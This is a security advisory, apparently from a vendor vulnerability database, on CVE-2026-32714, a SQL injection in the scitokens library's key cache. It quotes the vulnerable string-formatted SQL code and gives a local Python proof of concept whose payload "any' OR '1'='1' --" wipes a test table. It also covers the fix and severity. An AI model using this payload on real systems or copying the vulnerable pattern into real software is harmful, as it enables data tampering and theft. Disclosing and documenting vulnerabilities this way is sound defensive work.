CVE-2026-32714

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
    print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
    
    # We will demonstrate the vulnerability by manually executing the kind of query
    # that WAS present in the code, showing how it can be exploited.
    
    # Setup temporary database
    fd, db_path = tempfile.mkstemp()
    os.close(fd)
    
    conn = sqlite3.connect(db_path)
    curs = conn.cursor()
    curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
    
    # Add legitimate entries
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
    conn.commit()
    
    curs.execute("SELECT count(*) FROM keycache")
    print(f"Count before injection: {curs.fetchone()[0]}")
    
    # MALICIOUS INPUT
    # The original code was: 
    # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
    
    malicious_issuer = "any' OR '1'='1' --"
    malicious_kid = "irrelevant"
    
    print(f"Simulating injection with issuer: {malicious_issuer}")
    
    # This simulates what the VULNERABLE code did:
    query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
    print(f"Generated query: {query}")
    
    curs.execute(query)
    conn.commit()
    
    curs.execute("SELECT count(*) FROM keycache")
    count = curs.fetchone()[0]
    print(f"Count after injection: {count}")
    
    if count == 0:
        print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
    
    conn.close()
    os.remove(db_path)

if __name__ == "__main__":
    poc_sql_injection()

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-32714 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32714? CVE-2026-32714 is a critical-severity SQL injection vulnerability in scitokens (pip), affecting versions < 1.9.6. It is fixed in 1.9.6. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-32714? CVE-2026-32714 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of scitokens are affected by CVE-2026-32714? scitokens (pip) versions < 1.9.6 is affected.
4. Is there a fix for CVE-2026-32714? Yes. CVE-2026-32714 is fixed in 1.9.6. Upgrade to this version or later.
5. Is CVE-2026-32714 exploitable, and should I be worried? Whether CVE-2026-32714 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32714 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32714? Upgrade scitokens to 1.9.6 or later.